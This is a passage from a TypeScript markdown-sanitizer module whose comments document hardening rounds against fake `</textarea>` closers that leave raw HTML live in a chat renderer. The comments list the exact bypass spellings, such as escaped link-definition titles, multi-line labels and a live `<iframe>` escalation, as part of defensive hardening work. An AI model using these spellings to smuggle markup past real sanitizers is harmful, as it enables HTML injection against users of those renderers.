`blankUnreferencedFootnotes`\n *                                                        now blanks whole.\n *     R  `findLabelClose`: `]` not followed by `:`      → shortcut reference or\n *                                                        plain text; remark\n *                                                        EMITS it (the same\n *                                                        exclusion\n *                                                        `blankBracketLabels`\n *                                                        documents).\n *     R  `findLabelClose`: unescaped `[` in the label   → CommonMark rejects the\n *                                                        label → paragraph text.\n *     R  `findLabelClose`: paragraph bound, no `]:`     → an ordinary\n *                                                        `[`-leading prose\n *                                                        paragraph.\n *     R  `parseDestOnLine` -1 (angle dest unclosed)     → no line ending allowed\n *                                                        in `<…>`, and a bare\n *                                                        dest may not start with\n *                                                        `<` → not a definition.\n *     R  `parseDefTail`/`parseTitleTail` `decline`      → trailing content, or a\n *                                                        title neither\n *                                                        space-separated nor\n *                                                        delimiter-opened →\n *                                                        remark reads a\n *                                                        PARAGRAPH. On the\n *                                                        OPENER line this\n *                                                        unwinds the WHOLE\n *                                                        construct (nothing is\n *                                                        blanked). On a\n *                                                        CONTINUATION line it\n *                                                        splits in TWO, and the\n *                                                        old single sentence\n *                                                        was true of only one\n *                                                        (r22):\n *                                                          · after `needTitle`\n *                                                            the definition WAS\n *                                                            already complete\n *                                                            (a title is\n *                                                            optional), so\n *                                                            stopping is exact;\n *                                                          · after `needDest`\n *                                                            it was NOT — with\n *                                                            no parseable\n *                                                            destination remark\n *                                                            reads the whole run\n *                                                            as a PARAGRAPH —\n *                                                            and lines\n *                                                            `i..close.line`\n *                                                            are ALREADY blanked\n *                                                            by the committed\n *                                                            loop. So this exit\n *                                                            OVER-blanks the\n *                                                            label lines; safe\n *                                                            because\n *                                                            over-blanking only\n *                                                            hides closers.\n *     C  `openTitle` (title opens, never closes)        → BLANK to the paragraph\n *                                                        bound.\n *     C  end of `lines` / blank line while continuing   → everything up to the\n *                                                        bound is already\n *                                                        blanked.\n *     (no length cap exists in this pass at all)\n *\n *   blankInlineLinkPayloads / parseInlineLinkPayload\n *     C  `q >= limit`, input REMAINS past the cap       → returns `limit`, and\n *                                                        the caller widens to\n *                                                        `paragraphEnd` (r20).\n *     R  `q >= limit` because the INPUT IS EXHAUSTED    → returns -1. Nothing\n *                                                        closes the payload and\n *                                                        nothing will, so remark\n *                                                        reads text too. Split\n *                                                        out in r22: it used to\n *                                                        share the cap exit, so\n *                                                        the ordinary STREAMING\n *                                                        tail `see [a](/x`\n *                                                        blanked its paragraph\n *                                                        and flickered.\n *     R  angle dest not closed before `\\n`/end          → CommonMark forbids a\n *                                                        line ending in `<…>`.\n *     R  bare dest with unbalanced `(`                  → not a link → text.\n *     R  no `)` where the payload must end              → not a link → text.\n *     -  `s[q] !== close` after the title loop          → UNREACHABLE: the loop\n *                                                        exits only on the\n *                                                        closer or on `q >=\n *                                                        limit`, and the latter\n *                                                        returns `overflow`\n *                                                        first.\n *\n *   blankUnreferencedFootnotes  (round 23 — the entry round 22 never wrote)\n *     R  `masked.indexOf('[^') === -1` (whole-pass skip) → the document contains\n *                                                        no footnote SPELLING at\n *                                                        all, so there is nothing\n *                                                        to blank. Exact.\n *     R  `FOOTNOTE_DEF_OPEN_RE` fails / no `:` after the\n *        label / `footnoteLabelEnd` -1 on the OPENER     → not a definition line;\n *                                                        remark reads a paragraph\n *                                                        and any closer on it is\n *                                                        REAL.\n *     R  label IS referenced (in the REF-MASK)           → round 19's case:\n *                                                        remark keeps the\n *                                                        definition, its body is\n *                                                        BLOCK-parsed and may\n *                                                        hold real HTML.\n *     C  `footnoteLabelEnd === -1` mid-line → `break`    → abandons the REST OF\n *                                                        THE LINE's references.\n *                                                        Fail-CLOSED (fewer\n *                                                        references ⇒ more\n *                                                        definitions blanked),\n *                                                        but note the shape it\n *                                                        gives up on: a line\n *                                                        `[^x[ … [^f]` silently\n *                                                        stops counting at the\n *                                                        voided label, so a REAL\n *                                                        `[^f]` after it can be\n *                                                        missed and its\n *                                                        definition over-blanked\n *                                                        into escaped source\n *                                                        (cosmetic).\n *     C  body walk `break` on a SECOND definition line   → the body ended; the\n *                                                        neighbour is blanked (or\n *                                                        not) on its OWN merits.\n *     C  body walk `break` on a de-indented line after a\n *        blank one                                       → GFM's own body bound.\n *     (both body `break`s only SHORTEN the blanked range, i.e. leave MORE\n *      haystack visible — the same direction as declining the definition\n *      entirely, which is round 19's shipped behaviour, never a new hole)\n *     (no length cap exists in this pass at all)\n *\n *   blankBracketLabels\n *     R  no `[` in the document                         → no bracket construct.\n *     R  `]` with an empty stack                        → closes nothing.\n *     -  no length cap and no parse that can fail: the walk is total over the\n *        document and crosses newlines, so it has NO give-up path to classify.\n *\n * WHICH LINES EACH PASS CLAIMS, AND AT WHAT COLUMN:\n *\n *   findInlineCodeRanges  — EVERY line, at column 0 of its PARAGRAPH SEGMENT\n *     (a maximal run of non-blank lines). Container-agnostic: backtick runs are\n *     matched with no column or prefix anchoring, so a `> ` / indent prefix is\n *     ordinary text between ticks. Spans CROSS line breaks (round 18) and stop\n *     at a paragraph break, which is exactly CommonMark's bound.\n *   blankFencedRegions    — every line of the run it is GIVEN, at that run's\n *     column (the caller cut it). Absolute-column-limited by `FENCE_RE`'s 0..3\n *     indent cap, which is WHY the container passes must re-cut and re-run it.\n *   blankIndentedCode     — every line of the run it is given, at that run's\n *     column, with a list-content-column stack for the +4 threshold.\n *   blankLinkDefinitions  — EVERY line, in TWO dimensions that must both be\n *     stated, because round 21 found the entry true of the first and silently\n *     false of the second.\n *       COLUMN: at column 0 AND at the column its own prefix reaches.\n *       `LINK_DEF_CONTAINER_PREFIX` absorbs a blockquote run and AT MOST ONE\n *       list marker, so the top-level call covers a definition at nesting depth\n *       0 or 1 directly. DEEPER nesting (`- - [a]: …`) is NOT covered by the\n *       top-level call — round 19's corrected entry — and is reached only\n *       because both container passes re-run this pass on their stripped runs,\n *       and `blankListItemCode` re-cuts nested markers by recursing into\n *       ITSELF. That re-cut is load-bearing, not redundancy.\n *       SHAPE: what the label, destination and title may CONTAIN — the\n *       dimension the old wording never mentioned, so five ESCAPED-delimiter\n *       spellings and five MULTI-LINE spellings were \"covered\" by an entry that\n *       had not examined them. The pass is now a CHARACTER PARSER, not a line\n *       regex: `\\` + one character is consumed as a unit EVERYWHERE (so a\n *       title may hold `\\\"` / `\\'` / `\\)` and a label `\\]`), the LABEL may\n *       span lines up to the paragraph bound, and an unterminated TITLE is\n *       blanked to that same bound. There is no length cap of any kind. What it\n *       does NOT claim, and why, is on the exits themselves (see below).\n *   blankUnreferencedFootnotes — EVERY line, container-agnostic and at ANY\n *     depth: `FOOTNOTE_DEF_OPEN_RE`'s own prefix absorbs a blockquote run plus\n *     ANY NUMBER of list markers, so unlike `blankLinkDefinitions` this pass\n *     needs no container re-cut — and could not use one, because its reference\n *     set is document-GLOBAL and a stripped run cannot see it. Exactly ONE\n *     top-level call. No length cap of any kind.\n *     IT READS TWO SOURCES, and that split is the security-load-bearing part\n *     (round 23):\n *       DEFINITIONS from the current MASK — a definition an earlier pass hid is\n *       not blanked, which leaves it in the haystack (round 19's direction).\n *       REFERENCES from a SEPARATE, MORE-BLANKED copy (`footnoteReferenceMask`),\n *       because every region remark consumes into an ATTRIBUTE or drops — image\n *       alt, full-reference label, inline link title / angle destination, HTML\n *       comment, raw HTML block, inline tag attribute, autolink — yields a\n *       PHANTOM reference, and a phantom keeps a dropped definition (and its\n *       `</textarea>`) in the haystack: fail-OPEN, reproduced live in ten\n *       spellings. Counting FEWER references only blanks MORE, so that copy may\n *       over-blank freely.\n *     CLAIMED BODY: the label line, its lazy paragraph continuations, and\n *     further blocks indented >= 4 columns past the blockquote run.\n *   blankInlineLinkPayloads — EVERY inline link/image payload in the document,\n *     container-agnostic: the scan is anchored on the `](` bigram with no column\n *     or prefix anchoring, so a container prefix is ordinary text ahead of it.\n *     Claims ONLY the `(…)` payload — never the `[…]` text of an INLINE LINK,\n *     which is inline-parsed and reaches the document as HTML. Its cap\n *     (`INLINE_LINK_PAYLOAD_MAX`) BLANKS THROUGH rather than declining; only an\n *     unparseable SHAPE declines (round 20).\n *   blankBracketLabels     — EVERY `[…]` group in the document whose text remark\n *     consumes into an attribute or an identifier: an image's alt (`[` preceded\n *     by `!`), the second group of a `][` adjacency (a full reference's label),\n *     the first group of a `][]` adjacency (a collapsed reference's identifier),\n *     and a footnote label (`[^…]`, reference AND definition). Container-\n *     agnostic: one left-to-right bracket walk, no column or prefix anchoring.\n *     Claims NEITHER an inline link's `[…]` NOR a bare shortcut reference's —\n *     remark emits both as HTML, so a closer there is real (round 20). The\n *     `][` / `][]` adjacency is compared PER NESTING DEPTH (round 23 — a single\n *     `prev` let a nested group clobber the sibling it had to be compared with,\n *     so `[txt][[^f]]`'s label was never claimed). Its ONE option,\n *     `{ footnoteLabels: false }`, is for `footnoteReferenceMask` only.\n *   blankComments         — EVERY line, container-agnostic: `HTML_COMMENT_RE` is\n *     `[\\s\\S]`-based and anchored nowhere, so a comment matches straight through\n *     any prefix. Runs LAST, over the masked copy (see its docblock).\n *   blankQuotedCode       — supplies runs cut at the BLOCKQUOTE content column,\n *     for every maximal run of quote-prefixed lines, INCLUDING the line that\n *     opens the quote (the prefix regex matches it like any other).\n *   blankListItemCode     — supplies runs cut at the LIST-ITEM content column\n *     for EVERY line inside a list item at ANY content column >= 1 (round 19 —\n *     the gate used to be `>= 4` on the claim that \"below column 4 the top-level\n *     passes already cover the line at the right column\", which is true of a\n *     CONTINUATION line and FALSE of the MARKER line: at content column 2 or 3\n *     the marker line is examined only at column 0, where the leading `- ` /\n *     `1. ` is not whitespace and `FENCE_RE` cannot match). Includes THE MARKER\n *     LINE ITSELF (round 18) and re-cuts NESTED markers by recursing into itself\n *     (round 19), since `LIST_MARKER_RE` matches only the FIRST marker on a\n *     line.\n *\n * The two container passes call each other AND `blankListItemCode` calls itself,\n * and all of them call the fence + indented + link-definition passes, so a line\n * nested in any order and any DEPTH of containers is eventually cut to its own\n * content column. That composition is a MEANS to the invariant above, not a\n * substitute for it. When adding a pass or a container, the question to answer\n * is \"which lines does it claim, at which column, and is any line now claimed by\n * nobody\" — not \"does the call graph look symmetric\".\n */\n\n/**\n * Length-preserving blank of MANY ranges in one pass. Ranges must be\n * non-overlapping and ascending.\n *\n * THE ONLY BLANKING PRIMITIVE (round 18 — performance). There used to be a\n * single-range `blankRange` beside it, and `blankIndentedCode` /\n * `blankFencedRegions` / `blankComments` each folded the document through it\n * ONCE PER LINE OR REGION. Every call rebuilds the entire string, so masking an\n * all-indented-code document was QUADRATIC — measured on\n * `__buildCloserHaystackForTest`: 37 KB → 6 ms, 151 KB → 178 ms, 389 KB →\n * 1127 ms, 989 KB → 3753 ms (2.5x input ⇒ ~6x time), and the two container\n * passes re-run both over every nested run, multiplying the constant. A ~400 KB\n * KB article or release-notes page — all of which go through this renderer —\n * blocked the main thread for over a second. Every pass now COLLECTS ranges and\n * applies them here exactly once, which is what the inline pass already did.\n * After, same four sizes and same harness: 2 ms / 5 ms / 12 ms / 28 ms — dead\n * linear at ~28 ns/char, a 134x improvement at 989 KB.\n *\n * Do not reintroduce a per-range helper; a pass that blanks in a loop is the\n * regression.\n */\nfunction blankRanges(masked: string, ranges: Array<[number, number]>): string {\n  if (ranges.length === 0) return masked;\n  const parts: string[] = [];\n  let cursor = 0;\n  for (const [from, to] of ranges) {\n    parts.push(masked.slice(cursor, from), masked.slice(from, to).replace(/[^\\n]/g, ' '));\n    cursor = to;\n  }\n  parts.push(masked.slice(cursor));\n  return parts.join('');\n}\n\n/** One scannable line: where it starts, and (for container-nested scans) where\n *  its scanned content starts once the container prefix is stripped. */\ninterface MaskLine {\n  start: number;\n  contentStart: number;\n  content: string;\n}\n\nfunction toMaskLines(source: string): MaskLine[] {\n  const out: MaskLine[] = [];\n  let offset = 0;\n  for (const line of source.split('\\n')) {\n    out.push({ start: offset, contentStart: offset, content: line });\n    offset += line.length + 1;\n  }\n  return out;\n}\n\n/**\n * Blank every FENCED region in a line run, using the real CommonMark fence\n * state machine (`createFenceTracker`) rather than a regex.\n *\n * This replaces the old `blankUnclosedFence` + `PROTECTED_SPAN_RE` fence\n * alternative and subsumes both:\n *  - a CLOSED fence is blanked from its opener line through its closer line;\n *  - an EOF-terminated fence is blanked from its opener line to the end of the\n *    run (the case `blankUnclosedFence` covered);\n *  - a would-be closer carrying an INFO STRING (```` ```html ````) no longer\n *    ends the region, because the tracker applies CommonMark's rule that a\n *    closer may not have one. `PROTECTED_SPAN_RE` did end the span there, so\n *    ` ```js … ```html\\n</textarea>\\n``` ` left the `</textarea>` unmasked and\n *    a prose opener above it stayed live.\n */\nfunction blankFencedRegions(masked: string, lines: MaskLine[]): string {\n  const fences = createFenceTracker();\n  const ranges: Array<[number, number]> = [];\n  let openStart: number | null = null;\n  let lastEnd = 0;\n  for (const line of lines) {\n    const role = fences.push(line.content);\n    lastEnd = line.contentStart + line.content.length;\n    if (role === 'open') openStart = line.start;\n    else if (role === 'close' && openStart !== null) {\n      ranges.push([openStart, lastEnd]);\n      openStart = null;\n    }\n  }\n  if (openStart !== null) ranges.push([openStart, lastEnd]);\n  return blankRanges(masked, ranges);\n}\n\n/**\n * Blank INDENTED code blocks. A `</textarea>` written as an indented code\n * sample is code, not a closer — but `FENCE_RE` deliberately caps fence indent\n * at 3 spaces, so the tracker never sees these lines.\n *\n * The threshold is LIST-AWARE, not a flat 4 columns. CommonMark measures\n * indented code from the enclosing list item's CONTENT column, so under\n * `1.  ` (content column 4) a 4-space line is a paragraph continuation, not\n * code — and `\"1.  Here is a form:\\n\\n    <textarea>\\n    </textarea>\\n\"` had\n * its closer blanked, `hasLaterCloser` returned false, and a perfectly real\n * element got escaped. A numbered list containing markup is a very ordinary\n * chat answer, so \"fail closed\" is not a good enough excuse here.\n *\n * The walk mirrors `blankQuotedCode`'s line-state approach: a stack of open\n * list content columns, `code` meaning `indent >= top + 4`. Blank lines keep\n * the state (a list item survives them); a line indented below the top of the\n * stack pops it. A line indented past the code threshold is treated as code\n * BEFORE it is considered as a list marker.\n *\n * SCAN-SOURCE INVERSION (same reasoning as `blankComments`, and NOT the shared\n * contract): the caller must pass lines re-derived from the CURRENT mask, not\n * from `folded`. Fence content is already blanked by `blankFencedRegions`, but\n * that only holds for WRITING the mask — a walk over `folded` still SEES those\n * lines, so a `- x` written inside a fence pushed a content column of 2 and a\n * later top-level column-4 indented-code line then failed `indent >= top + 4`,\n * went unblanked, and its code-sample `</textarea>` kept a prose opener LIVE.\n * Over the masked copy those lines are all spaces, hit the `isBlankLine`\n * continue, preserve list state and push no bogus column.\n *\n * CONTENT-COLUMN CLAMP: CommonMark clamps an item's content column to\n * `markerEnd + 1` when the first block starts MORE than 4 spaces after the\n * marker — the remainder is indented code INSIDE the item. Taking the literal\n * column instead meant `-` + six spaces raised the threshold to 11, so a\n * column-7 `</textarea>` code sample was not blanked.\n *\n * KNOWN OMISSION (deliberate, fail-CLOSED): there is NO paragraph state. Under\n * CommonMark indented code cannot interrupt a paragraph, so a LAZY\n * continuation line — `'Here is a form: <textarea>\\nsome paragraph\\n    </textarea>\\n'`\n * — is paragraph text, yet this walk blanks it as code and the (real, properly\n * closed) element is escaped to visible source. That is cosmetic, and the\n * option NOT taken here is the fail-OPEN direction: skipping the code test in\n * paragraph state means blanking LESS, i.e. more closers visible to\n * `hasLaterCloser` and more openers left live. The list-awareness above was\n * worth its risk because it is unconditional over an entire list item; this\n * one is not, so it is documented rather than implemented.\n */\nconst LIST_MARKER_RE = /^([ \\t]*)(?:[-*+]|\\d{1,9}[.)])([ \\t]+)(?=\\S)/;\n\n/** Visual column of `upTo` chars of `line`, expanding tabs to 4-col stops. */\nfunction visualColumn(line: string, upTo: number): number {\n  let col = 0;\n  for (let i = 0; i < upTo; i++) col = line[i] === '\\t' ? col + 4 - (col % 4) : col + 1;\n  return col;\n}\n\nfunction leadingIndent(line: string): number {\n  // `[ \\t]*` is anchored and nullable, so it always matches (possibly empty);\n  // `?? ''` is the same zero-length match the engine would return, expressed\n  // without asserting on `exec`'s nullable result.\n  const ws = /^[ \\t]*/.exec(line)?.[0] ?? '';\n  return visualColumn(line, ws.length);\n}\n\n/** Character index at which `line` reaches visual column `col`, or -1 when the\n *  column falls INSIDE a tab (no exact character boundary) or the line is too\n *  short. The mask is length-preserving, so a container prefix can only ever be\n *  cut at a character boundary; -1 makes the caller decline to strip, which\n *  leaves the line looking indented and therefore blanks MORE (fail-CLOSED). */\nfunction charIndexAtColumn(line: string, col: number): number {\n  let c = 0;\n  for (let i = 0; i < line.length; i++) {\n    if (c === col) return i;\n    c = line[i] === '\\t' ? c + 4 - (c % 4) : c + 1;\n    if (c > col) return -1;\n  }\n  return c === col ? line.length : -1;\n}\n\nfunction blankIndentedCode(masked: string, lines: MaskLine[]): string {\n  const listContentCols: number[] = [];\n  const ranges: Array<[number, number]> = [];\n  for (const line of lines) {\n    // CommonMark's blank line (spaces/tabs, `\\r`-tolerant), NOT `trim()` — see\n    // `isBlankLine`. An NBSP-only line is CONTENT, and skipping it here as\n    // \"blank\" is the same one-character reopening documented there.\n    if (isBlankLine(line.content)) continue;\n    const indent = leadingIndent(line.content);\n    const top = listContentCols.length ? listContentCols[listContentCols.length - 1] : 0;\n    if (indent >= top + 4) {\n      ranges.push([line.contentStart, line.contentStart + line.content.length]);\n      continue;\n    }\n    while (listContentCols.length && indent < listContentCols[listContentCols.length - 1]) listContentCols.pop();\n    const marker = LIST_MARKER_RE.exec(line.content);\n    if (marker) {\n      const markerEndCol = visualColumn(line.content, marker[0].length - marker[2].length);\n      const contentCol = visualColumn(line.content, marker[0].length);\n      listContentCols.push(contentCol - markerEndCol > 4 ? markerEndCol + 1 : contentCol);\n    }\n  }\n  return blankRanges(masked, ranges);\n}\n\n/** Re-derive scannable lines from the CURRENT mask, preserving each line's\n *  original `start` / `contentStart` (every pass is length-preserving, so the\n *  offsets transfer verbatim). See `blankIndentedCode`'s SCAN-SOURCE\n *  INVERSION. */\nfunction remapToMask(masked: string, lines: MaskLine[]): MaskLine[] {\n  return lines.map(line => ({\n    ...line,\n    content: masked.slice(line.contentStart, line.contentStart + line.content.length),\n  }));\n}\n\n/**\n * Blank HTML COMMENTS. `<!-- </textarea> -->` is not a closer — parse5 consumes\n * it as comment data — yet it satisfied the raw substring search. The\n * unterminated form is blanked to EOF, matching what the tokenizer does with a\n * comment that never ends (and, again, failing closed).\n *\n * SCAN-SOURCE EXCEPTION: this is the ONE pass fed the already-masked copy\n * rather than the unmasked one. The shared contract exists because\n * the inline-code pass chews backticks off an unclosed fence opener and would\n * blind a fence scan — but for comments the reasoning INVERTS: a `<!--` inside a code\n * region is not a comment start, and treating it as one blanked the document to\n * EOF. Both `` Use `<!--` to start a comment. `` and a truncated `<!-- todo`\n * inside a ```html fence disabled EVERY later RAWTEXT closer in the message.\n * Running last over the masked copy is safe: all prior passes are\n * length-preserving so offsets still transfer verbatim, a `<!--` inside\n * fenced / inline / indented / quoted code is spaces by now and matches\n * nothing, and a genuine prose comment is untouched by any of them.\n */\nconst HTML_COMMENT_RE = /<!--[\\s\\S]*?-->|<!--[\\s\\S]*$/g;\n\nfunction blankComments(masked: string, source: string): string {\n  HTML_COMMENT_RE.lastIndex = 0;\n  const ranges: Array<[number, number]> = [];\n  let m: RegExpExecArray | null;\n  while ((m = HTML_COMMENT_RE.exec(source)) !== null) {\n    ranges.push([m.index, m.index + m[0].length]);\n    if (m[0].length === 0) HTML_COMMENT_RE.lastIndex++;\n  }\n  return blankRanges(masked, ranges);\n}\n\n/**\n * Blank LINK REFERENCE DEFINITIONS (round 18 — SECURITY).\n *\n * `remark` consumes a definition ENTIRELY and emits no node for it, so a\n * `</textarea>` written in a definition's DESTINATION or TITLE is never a real\n * closer — but it survived into the closer haystack, `hasLaterCloser` returned\n * true and a prose `<textarea>` above stayed LIVE. Reproduced byte-identical for\n * both `[a]: /x \"</textarea>\"` and `[a]: </textarea>`.\n *\n * FAIL DIRECTION: blank the WHOLE line on a definition-SHAPED match, without\n * modelling \"a definition may not interrupt a paragraph\". Over-blanking here can\n * only hide closers, i.e. escape MORE openers — the fail-CLOSED direction — so\n * the loose shape is the correct bias.\n *\n * MULTI-LINE SPELLINGS (round 19). CommonMark lets the destination AND/OR the\n * title sit on lines FOLLOWING the label. The previous continuation state was a\n * single `expectTitle` boolean checked against a BARE QUOTED TITLE, so\n * `[a]:\\n/x \"</textarea>\"` blanked the `[a]:` line and left the whole\n * `destination + title` line visible (reproduced live, `escapeUnknownHtmlTags`\n * byte-identical); so did `[a]:\\n</textarea>`. remark consumes the entire\n * definition and emits no link node at all, so the closer is fake in every one\n * of these spellings. The state is now a three-valued\n * `'none' | 'needDest' | 'needTitle'`:\n *\n *   - a definition line with NO destination     → `needDest`\n *   - a definition line with a destination but NO title → `needTitle`\n *   - `needDest` accepts a `destination [title]` line, then falls to\n *     `needTitle` (or `none` when that line carried the title)\n *   - `needTitle` accepts a bare quoted/parenthesised title line\n *\n * `needDest`'s continuation shape is deliberately loose (any single\n * non-whitespace run), which can over-blank ONE line after a bare `[a]:` — the\n * fail-CLOSED direction, and `[a]:` alone is not a shape prose produces.\n *\n * FOOTNOTES ARE EXCLUDED (round 19). `\\[[^\\]\\n]{0,999}\\]:` also matched a GFM\n * footnote definition `[^a]: …`, whose content is BLOCK-parsed and therefore\n * may contain REAL html: `[^a]: <textarea>hi</textarea>` rendered as escaped\n * visible source while the byte-identical pair in prose rendered correctly.\n * Cosmetic (fail-closed) rather than a security defect, but wrong, so the label\n * now rejects a leading `^`.\n *\n * CONTAINER-AGNOSTIC BY CONSTRUCTION, like `blankComments` — the shape absorbs\n * an optional blockquote run and one list marker, so a definition written inside\n * a quote or ON a list-marker line is covered by the SINGLE top-level call and\n * the pass never has to be threaded through the container recursion at a\n * container-relative column. The marker-line sweep dimension added in this round\n * found exactly that shape (`- [a]: /x \"</textarea>\"`) live.\n */\n/**\n * The two `{0,16}` / `{1,16}` whitespace bounds here are the ONE cap in this\n * pass that may still decline a line, and it is unreachable as a fail-open: an\n * indent or a marker gap above 16 columns is also ≥ 4 columns past the\n * enclosing content column, so the line is INDENTED CODE and\n * `blankIndentedCode` has already blanked it. Verified live at gap 17\n * (`- ` + 16 spaces + `[a]: /x \"</textarea>\"` escapes correctly). Do not raise\n * them into an unbounded `*` on the assumption that \"more is safer\" — that\n * would let a 4-column-indented definition line escape the code path it\n * currently falls into.\n */\nconst LINK_DEF_CONTAINER_PREFIX = ' {0,3}(?:>[ \\\\t]?)*[ \\\\t]{0,16}(?:(?:[-*+]|\\\\d{1,9}[.)])[ \\\\t]{1,16})?';\n/**\n * NO REGEX, AND NO LENGTH BOUND, ON LABEL / DESTINATION / TITLE\n * (round 20 removed the `{0,999}` caps; round 21 removed the regexes).\n *\n * Round 20 removed the counted caps because a regex that fails to match leaves\n * the line VISIBLE — the fail-OPEN direction this module's contract forbids.\n * It left the SHAPE of those regexes untouched, and the shape was\n * BACKSLASH-BLIND: `[^\"\\n]*` / `[^'\\n]*` / `[^)\\n]*` / `[^>\\n]*` / `[^\\]\\n]*`\n * each stop at the FIRST delimiter, escaped or not, while CommonMark lets a\n * title hold `\\\"` / `\\'` / `\\)` and a label hold `\\]`. The class stopped early,\n * the full-line anchor `[ \\t]*\\r?$` then failed, and the line stayed VISIBLE\n * while remark still consumed the definition and emitted NOTHING — five live\n * spellings, each `escapeUnknownHtmlTags(md) === md` with one live\n * `<textarea>`:\n *\n *   [a]: /x \"a\\\"</textarea>\"     [a]: /x 'it\\'s </textarea>'\n *   [a]: /x (a\\)</textarea>)     [a\\]b]: /x \"</textarea>\"\n *   [a\\]b]: </textarea>\n *\n * …while the unescaped CONTROL `[a]: /x \"</textarea>\"` blanked correctly, which\n * is what makes the escape (not the shape) the cause.\n *\n * AND THE LABEL AND TITLE MAY SPAN LINES. The old `'none' | 'needDest' |\n * 'needTitle'` state modelled continuation only AFTER the `]:`, so a LABEL that\n * opens on one line and closes on a later one, and a TITLE that opens\n * unterminated, were examined by NOBODY — `blankBracketLabels` deliberately\n * excludes a bare `[…]`, so the label had no other pass either. Live in both\n * renderers, byte-identical no-ops:\n *\n *   [foo\\n</textarea>]: /x          [</textarea>\\nfoo]: /x\n *   [foo\\n</textarea>\\nbar]: /x     > [foo\\n> </textarea>]: /x\n *   [a]: /x \"line1\\n</textarea>\"\n *\n * …plus the escalation: a live `<iframe src=… width=… height=…>` behind\n * `[foo\\n</iframe>]: /x`.\n *\n * THE PASS IS THEREFORE A CHARACTER PARSER, NOT A LINE REGEX. It is\n * ESCAPE-AWARE by construction (`skipEscaped` consumes `\\` + one character\n * everywhere), has no length cap at all, and is LINEAR: every scan helper below\n * advances its cursor monotonically over one line, and the outer line loop\n * telescopes (see `findLabelClose`'s `stoppedAt` contract). No nested\n * quantifier survives, so the backtracking risk the counted caps used to\n * pretend to bound is gone rather than re-bounded. MEASURED, not assumed —\n * `__buildCloserHaystackForTest`, median of 7, at 37/151/389/989 KB, before →\n * after: list-dense 3.1/7.9/20.6/47.8 → 2.8/7.5/19.1/54.8 ms; realistic\n * 1.9/5.8/15.4/43.9 → 1.6/5.8/16.3/49.9 ms; definition-dense 1.3/5.5/15.0/40.0\n * → 1.4/5.9/17.8/45.2 ms. Every series stays DEAD LINEAR (2.5x input ⇒ ~2.7x\n * time) and the ~13-15% constant is the price of a character parser over a\n * regex. The ESCAPED-definition corpus is the outlier at 25.1 → 51.2 ms,\n * because HEAD did NO WORK on it: the backslash-blind regex failed to match and\n * left the line visible, which is precisely the defect. Adversarial shapes\n * (`[` + 40 backslash pairs per line, an all-unclosed-label document) are the\n * FASTEST corpora measured — 9.5 ms and 14.3 ms at 989 KB — because\n * `findLabelClose`'s `stoppedAt` contract makes the outer loop telescope\n * instead of rescanning the paragraph once per line. Do not remove `stoppedAt`;\n * a naive per-line lookahead is quadratic on exactly those inputs.\n *\n * EXIT DISCIPLINE — the structural point of this round. The parse has exactly\n * two stages, and the stage decides the fail direction:\n *\n *   RECOGNITION (is this a definition at all?) may DECLINE. Every decline here\n *   is a shape CommonMark also refuses, so remark emits the text as HTML and a\n *   closer written in it is REAL — the same argument that keeps an inline\n *   link's `[…]` and a bare shortcut reference visible. Declining is the\n *   CORRECT answer, not a gap; the reachability argument for each is on the\n *   exit itself.\n *\n *   CONSUMPTION (a `[…]:` was recognized) may NEVER decline. Every give-up\n *   routes through `blankLinesToParagraphBound` — the ONE give-up channel —\n *   which blanks to the next blank line, CommonMark's own bound for a\n *   definition, exactly as `blankInlineLinkPayloads` widens a capped payload to\n *   `paragraphEnd`. A `decline` returned by the tail parser is a RECOGNITION\n *   verdict delivered late (the line is not definition-shaped after all), and\n *   it therefore unwinds the WHOLE construct — nothing is blanked — rather than\n *   leaving a half-blanked span behind.\n */\n\n/** `\\` consumes the next character. THE escape primitive for this pass — every\n *  scan below advances through it, which is what makes them all backslash-aware\n *  and all monotonic. */\nfunction skipEscaped(s: string, i: number): number {\n  return s[i] === '\\\\' ? i + 2 : i + 1;\n}\n\n/** First UNESCAPED occurrence of `ch` in `s` at or after `at`, else -1. */\nfunction findUnescaped(s: string, at: number, ch: string): number {\n  for (let i = at; i < s.length; i = skipEscaped(s, i)) if (s[i] === ch) return i;\n  return -1;\n}\n\nconst isSpaceTab = (ch: string): boolean => ch === ' ' || ch === '\\t';\n\nfunction skipSpaces(s: string, i: number): number {\n  let at = i;\n  while (at < s.length && isSpaceTab(s[at])) at++;\n  return at;\n}\n\n/** Lines are `\\n`-split, so a CRLF document leaves a trailing `\\r`. The pass\n *  blanks WHOLE lines, so dropping it costs no offset accuracy. */\nconst stripCr = (s: string): string => (s.endsWith('\\r') ? s.slice(0, -1) : s);\n\nconst TITLE_CLOSE: Record<string, string> = { '\"': '\"', \"'\": \"'\", '(': ')' };\n\n/** Index just past a title whose opening delimiter is at `i`, or -1 when the\n *  title does not close on this line. CommonMark ALLOWS a title to span lines,\n *  so -1 is a CONTINUATION signal, never a decline. */\nfunction parseTitleOnLine(s: string, i: number): number {\n  const close = TITLE_CLOSE[s[i]];\n  for (let q = i + 1; q < s.length; q = skipEscaped(s, q)) if (s[q] === close) return q + 1;\n  return -1;\n}\n\n/** Index just past a destination at `i`, or -1.\n *\n *  RECOGNITION DECLINE (-1), reachability: only an angle destination that never\n *  closes on its line. CommonMark forbids a line ending inside `<…>` and a bare\n *  destination may not START with `<`, so such a line is not a definition to\n *  remark either — it is emitted as paragraph text and any closer in it is\n *  REAL. Blanking it would over-escape a genuine element. */\nfunction parseDestOnLine(s: string, i: number): number {\n  if (s[i] === '<') {\n    for (let q = i + 1; q < s.length; q = skipEscaped(s, q)) if (s[q] === '>') return q + 1;\n    return -1;\n  }\n  let q = i;\n  while (q < s.length && !isSpaceTab(s[q])) q = skipEscaped(s, q);\n  return q > i ? Math.min(q, s.length) : -1;\n}\n\n/** What the remainder of ONE line says about the definition being consumed. */\ntype DefTail =\n  | { k: 'done' } // destination (+ optional title) complete; line ends\n  | { k: 'needDest' } // nothing on this line; the destination follows\n  | { k: 'needTitle' } // destination taken; a title MAY follow on a later line\n  | { k: 'openTitle'; close: string } // a title opened here and did not close\n  | { k: 'decline' }; // not definition-shaped after all (see below)\n\n/**\n * RECOGNITION DECLINE, reachability, for every `decline` this returns:\n *\n *  - trailing content after a COMPLETE destination (+ title): CommonMark reads\n *    a definition only when nothing but whitespace follows, so `[a]: /x junk\n *    </textarea>` is a PARAGRAPH to remark and its closer is REAL;\n *  - a title that is not space-separated from the destination (`[a]: <x>\"t\"`) —\n *    same, remark reads no title and the trailing text invalidates the line.\n *    The ANGLE spelling is the reachable one (round 22): `parseDestOnLine`\n *    consumes a BARE destination to the next space/tab, so in `[a]: /x\"t\"` the\n *    quote is part of the destination and the line returns `needTitle`, 